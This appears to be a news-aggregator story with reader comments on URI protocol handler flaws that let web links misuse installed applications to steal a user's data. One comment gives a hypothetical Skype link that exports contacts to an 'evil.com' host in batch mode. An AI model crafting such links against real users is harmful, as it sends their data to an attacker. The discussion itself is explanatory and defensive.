New URI Browser Flaws Worse Than First Thought

narramissic writes "URI (Uniform Resource Identifier) bugs have become a hot topic over the past month, since researcher Thor Larholm showed how a browser could be tricked into sending malformed data to Firefox. Now, security researchers Billy Rios and Nathan McFeters say they've discovered a number of ways attackers could misuse the URI protocol handler technology to steal data from a victim's computer. 'It is possible through the URI to actually steal content form the user's machine and upload that content to a remote server of the attacker's choice,' said McFetters, a senior security advisor for Ernst & Young Global Ltd. 'This is all through functionality that the application provides.'"

Comments

Responsible application launching

[JosefAssad]

Some of the discussion around this issue revolves around URI validation. Given that third parties can assign their own handlers, I don't think it's the browser's job to validate URIs, but it can provide the facilities to do so.

It would probably just be simpler to disable this functionality by default; I suspect not many people are really using their browser to launch other applications or do much beyond straightforward browsing (you konqueror people are something completely different!), or at least not to any meaningful extent. Where they are, some form of URI whitelist could do the job.

I don't think browsers are going to stop being capable of launching applications overnight; I fully acknowledge that a lot of enterprise systems rely on this. But it can certainly be done more responsibly.

Re:What is the OS coverage?

[IBBoard]

Only it's not that the application may have a bug, but that it may have an intentional feature that is useful for users that can then be exploited through a link. It might have less security than it should, but that's poor planning and not a bug.

Take someone's earlier example of Skype. Lets assume you can do "skype --export-contacts --dest /some/path/here". Nice and useful for when you're migrating settings on your own desktop. Now assume that Skype also lets you export to your website so that you can publish it to your site, so you can put a HTTP in there. Now assume that users have complained about popups prompting them and that they want a batch mode that lets them export each night to make sure they never lose data - so it doesn't prompt.

You'd now have something like "skype --export-contacts --dest http://www.example.com/mybackupscript --batch-mode". It does exactly what you want, you can archive your contacts, and you can event do it overnight to a remote location so it's accessible to you from anywhere and won't be lost in a disk crash. Only someone didn't secure it very well (again, bad implementation, not a bug) and someone somehow gets you to click on a link saying "skype:export-contacts&dest=http://www.evil.com/my backupscript&batch-mode". That 'feature' is now being exploited to export your contacts to an arbitrary site without you even necessarily knowing.

I'm sure there are lots of other similar alternatives, but the whole point is that it's badly validated input and not a bug. It's fairly sensible to have "skype:call-userid" as a link so that you can run up Skype and call someone. What it's not sensible to do is let that URI call do anything that can be done locally.